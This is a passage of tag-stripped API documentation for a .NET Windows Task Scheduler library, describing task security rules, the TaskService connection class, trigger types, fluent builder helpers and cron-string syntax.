value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Copies the elements of the ICollection to an Array, starting at a particular Array index. + + The one-dimensional Array that is the destination of the elements copied from . The Array must have + zero-based indexing. + + The zero-based index in array at which copying begins. + + + Releases all resources used by this class. + + + Determines whether the specified folder exists. + The path of the folder. + true if folder exists; otherwise, false. + + + Gets a list of items in a collection. + Enumerated list of items in the collection. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Defines the methods that are called by the Task Scheduler service to manage a COM handler. + + + This interface must be implemented for a task to perform a COM handler action. When the Task Scheduler performs a COM handler action, it creates and activates the handler and calls the methods of this interface as needed. For information on specifying a COM handler action, see the class. + + + + + Called to start the COM handler. This method must be implemented by the handler. + + An IUnkown interface that is used to communicate back with the Task Scheduler. + The arguments that are required by the handler. These arguments are defined in the property of the COM handler action. + + + + Called to stop the COM handler. This method must be implemented by the handler. + + The return code that the Task Schedule will raise as an event when the COM handler action is completed. + + + + Called to pause the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to pause and restart the handler. + + + + + Called to resume the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to resume the handler. + + + + + Provides the methods that are used by COM handlers to notify the Task Scheduler about the status of the handler. + + + + + Tells the Task Scheduler about the percentage of completion of the COM handler. + + A value that indicates the percentage of completion for the COM handler. + The message that is displayed in the Task Scheduler UI. + + + + Tells the Task Scheduler that the COM handler is completed. + + The error code that the Task Scheduler will raise as an event. + + + + Specifies the access control rights that can be applied to Task Scheduler tasks. + + + + Specifies the right to exert full control over a task folder or task, and to modify access control and audit rules. This value represents the right to do anything with a task and is the combination of all rights in this enumeration. + + + Specifies the right to create tasks and folders, and to add or remove data from tasks. This right includes the following rights: . + + + Specifies the right to open and copy folders or tasks as read-only. This right includes the following rights: . + + + Specifies the right run tasks. This right includes the following rights: . + + + The right to wait on a task. + + + The right to change the owner of a task. + + + Specifies the right to change the security and audit rules associated with a task or folder. + + + The right to open and copy the access rules and audit rules for a task. + + + The right to delete a folder or task. + + + Specifies the right to open and write file system attributes to a folder or file. This does not include the ability to write data, extended attributes, or access and audit rules. + + + Specifies the right to open and copy file system attributes from a folder or task. For example, this value specifies the right to view the file creation or modified date. This does not include the right to read data, extended file system attributes, or access and audit rules. + + + Specifies the right to delete a folder and any tasks contained within that folder. + + + Specifies the right to run a task. + + + Specifies the right to open and write extended file system attributes to a folder or file. This does not include the ability to write data, attributes, or access and audit rules. + + + Specifies the right to open and copy extended system attributes from a folder or task. For example, this value specifies the right to view author and content information. This does not include the right to read data, system attributes, or access and audit rules. + + + Specifies the right to append data to the end of a file. + + + Specifies the right to open and write to a file or folder. This does not include the right to open and write file system attributes, extended file system attributes, or access and audit rules. + + + Specifies the right to open and copy a task or folder. This does not include the right to read file system attributes, extended file system attributes, or access and audit rules. + + + + Represents a set of access rights allowed or denied for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Initializes a new instance of the class, specifying the name of the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The name of the user or group the rule applies to. + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Gets the rights allowed or denied by the access rule. + + + A bitwise combination of values indicating the rights allowed or denied by the access rule. + + + + + Represents a set of access rights to be audited for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group to audit, the rights to audit, and whether to audit success, failure, or both. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the kinds of access to audit. + The audit flags. + + + + Gets the access rights affected by the audit rule. + + + A bitwise combination of values that indicates the rights affected by the audit rule. + + objects are immutable. You can create a new audit rule representing a different user, different rights, or a different combination of AuditFlags values, but you cannot modify an existing audit rule. + + + + Represents the Windows access control security for a Task Scheduler task. This class cannot be inherited. + + + A TaskSecurity object specifies access rights for a Task Scheduler task, and also specifies how access attempts are audited. Access rights to the task are expressed as rules, with each access rule represented by a object. Each auditing rule is represented by a object. + This mirrors the underlying Windows security system, in which each securable object has at most one discretionary access control list (DACL) that controls access to the secured object, and at most one system access control list (SACL) that specifies which access attempts are audited. The DACL and SACL are ordered lists of access control entries (ACE) that specify access and auditing for users and groups. A or object might represent more than one ACE. + Note + A object can represent a local task or a Task Scheduler task. Windows access control security is meaningful only for Task Scheduler tasks. + The TaskSecurity, , and classes hide the implementation details of ACLs and ACEs. They allow you to ignore the seventeen different ACE types and the complexity of correctly maintaining inheritance and propagation of access rights. These objects are also designed to prevent the following common access control errors: + + Creating a security descriptor with a null DACL. A null reference to a DACL allows any user to add access rules to an object, potentially creating a denial-of-service attack. A new TaskSecurity object always starts with an empty DACL, which denies all access for all users. + Violating the canonical ordering of ACEs. If the ACE list in the DACL is not kept in the canonical order, users might inadvertently be given access to the secured object. For example, denied access rights must always appear before allowed access rights. TaskSecurity objects maintain the correct order internally. + Manipulating security descriptor flags, which should be under resource manager control only. + Creating invalid combinations of ACE flags. + Manipulating inherited ACEs. Inheritance and propagation are handled by the resource manager, in response to changes you make to access and audit rules. + Inserting meaningless ACEs into ACLs. + + The only capabilities not supported by the .NET security objects are dangerous activities that should be avoided by the majority of application developers, such as the following: + + Low-level tasks that are normally performed by the resource manager. + Adding or removing access control entries in ways that do not maintain the canonical ordering. + + To modify Windows access control security for a task, use the method to get the TaskSecurity object. Modify the security object by adding and removing rules, and then use the method to reattach it. + Important: Changes you make to a TaskSecurity object do not affect the access levels of the task until you call the method to assign the altered security object to the task. + To copy access control security from one task to another, use the method to get a TaskSecurity object representing the access and audit rules for the first task, then use the method, or a constructor that accepts a TaskSecurity object, to assign those rules to the second task. + Users with an investment in the security descriptor definition language (SDDL) can use the method to set access rules for a task, and the method to obtain a string that represents the access rules in SDDL format. This is not recommended for new development. + + + + + Initializes a new instance of the class with default values. + + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The task. + The sections of the ACL to retrieve. + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The folder. + The sections of the ACL to retrieve. + + + + Gets the enumeration that the class uses to represent access rights. + + A object representing the enumeration. + + + + Gets the type that the TaskSecurity class uses to represent access rules. + + A object representing the class. + + + + Gets the type that the TaskSecurity class uses to represent audit rules. + + A object representing the class. + + + + Gets a object that represent the default access rights. + + The default task security. + + + + Creates a new access control rule for the specified user, with the specified access rights, access control, and flags. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to allow or deny, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether the rights are allowed or denied. + + The object that this method creates. + + + + + Searches for a matching rule with which the new rule can be merged. If none are found, adds the new rule. + + The access control rule to add. + + + + Searches for an audit rule with which the new rule can be merged. If none are found, adds the new rule. + + The audit rule to add. The user specified by this rule determines the search. + + + + Creates a new audit rule, specifying the user the rule applies to, the access rights to audit, and the outcome that triggers the audit rule. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to audit, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether to audit successful access, failed access, or both. + + A object representing the specified audit rule for the specified user. The return type of the method is the base class, , but the return value can be cast safely to the derived class. + + + + + Searches for an access control rule with the same user and (allow or deny) as the specified rule, and with compatible inheritance and propagation flags; if such a rule is found, the rights contained in the specified access rule are removed from it. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all access control rules with the same user and (allow or deny) as the specified rule and, if found, removes them. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Any rights specified by this rule are ignored. + + + + Searches for an access control rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Searches for an audit control rule with the same user as the specified rule, and with compatible inheritance and propagation flags; if a compatible rule is found, the rights contained in the specified rule are removed from it. + + A that specifies the user to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all audit rules with the same user as the specified rule and, if found, removes them. + + A that specifies the user to search for. Any rights specified by this rule are ignored. + + + + Searches for an audit rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Removes all access control rules with the same user as the specified rule, regardless of , and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Removes all access control rules with the same user and (allow or deny) as the specified rule, and then adds the specified rule. + + The to add. The user and of this rule determine the rules to remove before this rule is added. + + + + Removes all audit rules with the same user as the specified rule, regardless of the value, and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task folder used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. For more information, see Remarks. + + The name used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Quick simple trigger types for the + method. + + + + At boot. + + + On system idle. + + + At logon of any user. + + + When the task is registered. + + + Hourly, starting now. + + + Daily, starting now. + + + Weekly, starting now. + + + Monthly, starting now. + + + + Known versions of the native Task Scheduler library. This can be used as a decoder for the + and values. + + + + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016 post build 1703). + + + Provides access to the Task Scheduler service for managing registered tasks. + + + Creates a new instance of a TaskService connecting to the local machine as the current user. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer. If the user name and password are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer as a SecureString. If the user name and securePassword are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Delegate for methods that support update calls during COM handler execution. + The percentage of completion (0 to 100). + An optional message. + + + Occurs when the Task Scheduler is connected to the local or remote target. + + + Occurs when the Task Scheduler is disconnected from the local or remote target. + + + Gets a local instance of the using the current user's credentials. + Local user instance. + + + + Gets the library version. This is the highest version supported by the local library. Tasks cannot be created using any + compatibility level higher than this version. + + The library version. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + + Gets or sets a value indicating whether to allow tasks from later OS versions with new properties to be retrieved as read only tasks. + + true if allow read only tasks; otherwise, false. + + + Gets the name of the domain to which the computer is connected. + + + Gets the name of the user that is connected to the Task Scheduler service. + + + Gets the highest version of Task Scheduler that a computer supports. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + Gets the root ("\") folder. For Task Scheduler 1.0, this is the only folder. + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + Gets or sets the user account domain to be used when connecting to the . + The user account domain. + + + Gets or sets the user name to be used when connecting to the . + The user name. + + + Gets or sets the user password to be used when connecting to the . + The user password. + + + Gets the user password in plain text from either userPassword or userSecurePassword. + + + Gets a which enumerates all the tasks in all folders. + A for all instances. + + + Gets a Boolean value that indicates if you are connected to the Task Scheduler service. + + + + Gets the connection token for this instance. This token is thread safe and can be used to create new + instances on other threads using the static method. + + The connection token. + + + Gets a value indicating whether the component can raise an event. + + + + Creates a new instance from a token. Given that a TaskService instance is thread specific, this is the + preferred method for multi-thread creation or asynchronous method parameters. + + The token. + A instance valid for the thread calling this method. + + + Gets a formatted string that tells the Task Scheduler to retrieve a string from a resource .dll file. + The path to the .dll file that contains the resource. + The identifier for the resource text (typically a negative number). + A string in the format of $(@ [dllPath], [resourceId]). + + For example, the setting this property value to $(@ %SystemRoot%\System32\ResourceName.dll, -101) will set the property to the + value of the resource text with an identifier equal to -101 in the %SystemRoot%\System32\ResourceName.dll file. + + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + The value set by the COM object via a call to the method. + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + The action to run on thread completion. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + + + Adds or updates an Automatic Maintenance Task on the connected machine. + Name of the task with full path. + The amount of time the task needs once executed during regular Automatic maintenance. + + The amount of time after which the Task Scheduler attempts to run the task during emergency Automatic maintenance, if the task + failed to complete during regular Automatic Maintenance. + + The path to an executable file. + The arguments associated with the command-line operation. + + The directory that contains either the executable file or the files that are used by the executable file. + + A instance of the Automatic Maintenance Task. + + Automatic Maintenance tasks are only supported on Windows 8/Server 2012 and later. + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The to determine what happens when the task is triggered. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + This method is shorthand for creating a new TaskDescription, adding a trigger and action, and then registering it in the root folder. + + + + + + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The executable path. + The arguments (optional). Value can be NULL. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + + + + + + + Signals the object that initialization is starting. + + + Signals the object that initialization is complete. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Finds all tasks matching a name or standard wildcards. + Name of the task in regular expression form. + if set to true search all sub folders. + An array of containing all tasks matching . + + + Finds all tasks matching a name or standard wildcards. + The filter used to determine tasks to select. + if set to true search all sub folders. + An array of containing all tasks matching . + TaskService.Instance.FindAllTasks(t => t.Triggers.ContainsType(typeof(LogonTrigger)), true); + + + Finds a task given a name and standard wildcards. + The task name. This can include the wildcards * or ?. + if set to true search all sub folders. + A if one matches , otherwise NULL. + + + Gets the event log for this instance. + (Optional) The task path if only the events for a single task are desired. + A instance. + + + Gets the path to a folder of registered tasks. + + The path to the folder to retrieve. Do not use a backslash following the last folder name in the path. The root task folder is + specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character + cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + instance for the requested folder or null if was unrecognized. + + Folder other than the root (\) was requested on a system not supporting Task Scheduler 2.0. + + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets a collection of running tasks. + True to include hidden tasks. + instance with the list of running tasks. + + + Gets the task with the specified path. + The task path. + + The instance matching the , if found. If not found, this method returns null. + + + + + Returns an empty task definition object to be filled in with settings and properties and then registered using the + method. + + A instance for setting properties. + + + Returns a populated with the properties defined in an XML file. + The XML file to use as input. + A instance. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + Sets the user password as a secure string to be used when connecting to the . + A secure string containing the user password to set. + + + Starts the Task Scheduler UI for the OS hosting the assembly if the session is running in interactive mode. + + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Connects this instance of the class to a running Task Scheduler. + + + Finds the task in folder. + The folder. + The wildcard expression to compare task names with. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + + Represents a valid, connected session to a Task Scheduler instance. This token is thread-safe and should be the means of passing + information about a between threads. + + + + Initial call for a Fluent model of creating a task. + The path of the program to run. + An instance. + + + + Abstract base class which provides the common properties that are inherited by all trigger classes. A trigger can be created using + the or the method. + + + + Creates a trigger using a cron string. + String using cron defined syntax for specifying a time interval. See remarks for syntax. + Array of representing the specified cron string. + Unsupported cron string. + + This method does not support all combinations of cron strings. Please test extensively before use. Please post an issue with any + syntax that should work, but doesn't. + The following combinations are known not to work: + + Intervals on months (e.g. "* * * */5 *") + Intervals on DOW (e.g. "* * * * MON/3") + + + This section borrows liberally from the site http://www.nncron.ru/help/EN/working/cron-format.htm. The cron format consists of five fields separated + by white spaces: + + + <Minute> <Hour> <Day_of_the_Month> <Month_of_the_Year> <Day_of_the_Week> + + Each item has bounds as defined by the following: + + * * * * * + | | | | | + | | | | +---- Day of the Week (range: 1-7, 1 standing for Monday) + | | | +------ Month of the Year (range: 1-12) + | | +-------- Day of the Month (range: 1-31) + | +---------- Hour (range: 0-23) + +------------ Minute (range: 0-59) + + Any of these 5 fields may be an asterisk (*). This would mean the entire range of possible values, i.e. each minute, each hour, etc. + + Any of the first 4 fields can be a question mark ("?"). It stands for the current time, i.e. when a field is processed, the current time will be + substituted for the question mark: minutes for Minute field, hour for Hour field, day of the month for Day of month field and month for Month field. + + Any field may contain a list of values separated by commas, (e.g. 1,3,7) or a range of values (two integers separated by a hyphen, e.g. 1-5). + + After an asterisk (*) or a range of values, you can use character / to specify that values are repeated over and over with a certain interval between + them. For example, you can write "0-23/2" in Hour field to specify that some action should be performed every two hours (it will have the same effect + as "0,2,4,6,8,10,12,14,16,18,20,22"); value "*/4" in Minute field means that the action should be performed every 4 minutes, "1-30/3" means the same + as "1,4,7,10,13,16,19,22,25,28". + + + + + In testing and may change. Do not use until officially introduced into library. + + + Occurs when a property value changes. + + + Gets or sets a Boolean value that indicates whether the trigger is enabled. + + + + Gets or sets the date and time when the trigger is deactivated. The trigger cannot start the task after it is deactivated. + While the maximum value for this property is , the Windows Task Scheduler management + application that is part of the OS will fail if this value is greater than December 31, 9998. + + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for the Day, Month and Year values of the structure. + + + Version 2 (1.2 or higher) of the native library only allows for both date and time and all values. + However, the user interface and methods will always show the time translated to local time. The + library makes every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, + the "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the + user selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + + + + Gets or sets the maximum amount of time that the task launched by this trigger is allowed to run. Not available with Task + Scheduler 1.0. + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier for the trigger. Cannot set with Task Scheduler 1.0. + Not supported under Task Scheduler 1.0. + + + + Gets a instance that indicates how often the task is run and how long the repetition pattern is + repeated after the task is started. + + + + Gets or sets the date and time when the trigger is activated. + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for values where the is unspecified. If the DateTime value Kind is then it will be used as + is. If the DateTime value Kind is then it will be converted to the local time and then used. + + + Version 2 (1.2 or higher) of the native library only allows for all values. However, the user + interface and methods will always show the time translated to local time. The library makes + every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, the + "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the user + selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + Under Version 2, when converting the string used in the native library for this value (ITrigger.Startboundary) this library will + behave as follows: + + + YYYY-MM-DDTHH:MM:SS format uses DateTimeKind.Unspecified and the time specified. + + + YYYY-MM-DDTHH:MM:SSZ format uses DateTimeKind.Utc and the time specified as the GMT time. + + + YYYY-MM-DDTHH:MM:SS±HH:MM format uses DateTimeKind.Local and the time specified in that time zone. + + + + + + + Gets the type of the trigger. + The of the trigger. + + + Creates the specified trigger. + Type of the trigger to instantiate. + of specified type. + + + Creates a new that is an unbound copy of this instance. + A new that is an unbound copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Sets the repetition. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + if set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Returns a string representing this trigger. + String value of trigger. + + + Returns a that represents this trigger in a specific language. + The language of the resulting string. + String value of trigger. + + + Gets the best time span string. + The to display. + Either the full string representation created by TimeSpan2 or the default TimeSpan representation. + + + Assigns the unbound TriggerData structure to the V1 trigger instance. + + + Checks the bind value for any conversion. + The key (property) name. + The value. + + + Gets the unbound value or a default. + Return type. + The property name. + The default value if not found in unbound value list. + The unbound value, if set, or the default value. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Fluent helper class. Not intended for use. + + + Adds a trigger that executes at logon of all users. + instance. + + + Adds a trigger that executes at logon of a specific user. + The user id. + instance. + + + Adds a trigger that executes at task registration. + instance. + + + Adds a trigger that executes every day or week. + The interval of days or weeks. + instance. + + + Adds a trigger that executes monthly on specific days. + The months of the year in which to run. + instance. + + + Adds a working directory to the . + The directory. + instance. + + + Adds a trigger that executes monthly on certain days of the week. + The days of the week on which to run. + instance. + + + Adds a trigger that executes at system startup. + instance. + + + Adds a trigger that executes once at a specific time. + instance. + + + Adds a trigger that executes when system is idle. + instance. + + + Adds a trigger that executes once at specified state change. + Type of the change. + instance. + + + Adds arguments to the . + The arguments. + instance. + + + Fluent helper class. Not intended for use. + + + Transitions to settings syntax. + + + Assigns the name of the task and registers it. + The name. + A registered instance. + + + Assigns the name of the task and registers it. + The name. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + A registered instance. + + + Fluent helper class. Not intended for use. + + + Specifies that an Every target uses days as the interval. + instance. + + + Specifies that an Every target uses weeks as the interval. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify in which weeks of the month it will run. + The week. + instance. + + + Updates a monthly trigger to specify the months of the year in which it will run. + The month of the year. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify the days of the month on which it will run. + The days. + instance. + + + Fluent helper class. Not intended for use. + + + Indicates that the task will be started even if the computer is running on battery power. + instance. + + + + Indicates that the task will be started even if the task is triggered to run in a Remote Applications Integrated Locally + (RAIL) session. + + instance. + + + Sets the task data to a string. + instance. + + + Sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. + instance. + + + Indicates that the task cannot be started with the Run command or the Context menu. + instance. + + + Indicates that the task may not be terminated by using TerminateProcess. + instance. + + + Sets the amount of time that is allowed to complete the task. + instance. + + + Sets the policy that defines how the Task Scheduler handles multiple instances of the task. + instance. + + + Indicates that the task will not be stopped if the computer switches to battery power. + instance. + + + Indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + instance. + + + Indicates that the Task Scheduler will run the task only when a network is available. + instance. + + + Sets the priority level of the task. + instance. + + + Sets a value that specifies how long the Task Scheduler will attempt to restart the task. + instance. + + + Indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + instance. + + + Indicates that the Task Scheduler will wake the computer when it is time to run the task. + instance. + + + Fluent helper class. Not intended for use. + + + Specifies a date on which a trigger will no longer run. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will no longer run. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will no longer run. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will no longer run. + The DateTime value. + instance. + + + Determines whether this trigger is disabled. + instance. + + + Specifies a repetition interval for the trigger. + The interval span. + instance. + + + Specifies a repetition interval for the trigger. + The interval span string. Must be parsable by . + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span. + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span string. Must be parsable by . + instance. + + + Specifies a date on which a trigger will start. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will start. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will start. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will start. + The DateTime value. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a weekly trigger to specify the days of the week on which it will run. + The days of the week. + instance. + + + Fluent helper class. Not intended for use. + + + Values for days of the week (Monday, Tuesday, etc.) + + + Sunday + + + Monday + + + Tuesday + + + Wednesday + + + Thursday + + + Friday + + + Saturday + + + All days + + + Values for months of the year (January, February, etc.) + + + January + + + February + + + March + + + April + + + May + + + June + + + July + + + August + + + September + + + October + + + November + + + December + + + All months + + + Defines the type of triggers that can be used by tasks. + + + Triggers the task when a specific event occurs. Version 1.2 only. + + + Triggers the task at a specific time of day. + + + Triggers the task on a daily schedule. + + + Triggers the task on a weekly schedule. + + + Triggers the task on a monthly schedule. + + + Triggers the task on a monthly day-of-week schedule. + + + Triggers the task when the computer goes into an idle state. + + + Triggers the task when the task is registered. Version 1.2 only. + + + Triggers the task when the computer boots. + + + Triggers the task when a specific user logs on. + + + Triggers the task when a specific user session state changes. Version 1.2 only. + + + Triggers the custom trigger. Version 1.3 only. + + + Values for week of month (first, second, ..., last) + + + First week of the month + + + Second week of the month + + + Third week of the month + + + Fourth week of the month + + + Last week of the month + + + Every week of the month + + + Interface that categorizes the trigger as a calendar trigger. + + + Interface for triggers that support a delay. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Interface for triggers that support a user identifier. + + + Gets or sets the user for the . + + + Represents a trigger that starts a task when the system is booted. + + A BootTrigger will fire when the system starts. It can only be delayed. All triggers that support a delay implement the + ITriggerDelay interface. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a custom trigger. This class is based on undocumented features and may change. This type of trigger is only + available for reading custom triggers. It cannot be used to create custom triggers. + + + + Gets a value that indicates the amount of time between the trigger events and when the task is started. + This value cannot be set. + + + Gets the name of the custom trigger type. + The name of the XML element representing this custom trigger. + + + Gets the properties from the XML definition if possible. + + + Clones this instance. + This method will always throw an exception. + CustomTrigger cannot be cloned due to OS restrictions. + + + Updates custom properties from XML provided by definition. + The XML from the TaskDefinition. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a daily schedule. For example, the task starts at a specific time every day, every + other day, every third day, and so on. + + A DailyTrigger will fire at a specified time every day or interval of days. + + + + + + + + Creates an unbound instance of a . + Interval between the days in the schedule. + + + Sets or retrieves the interval between the 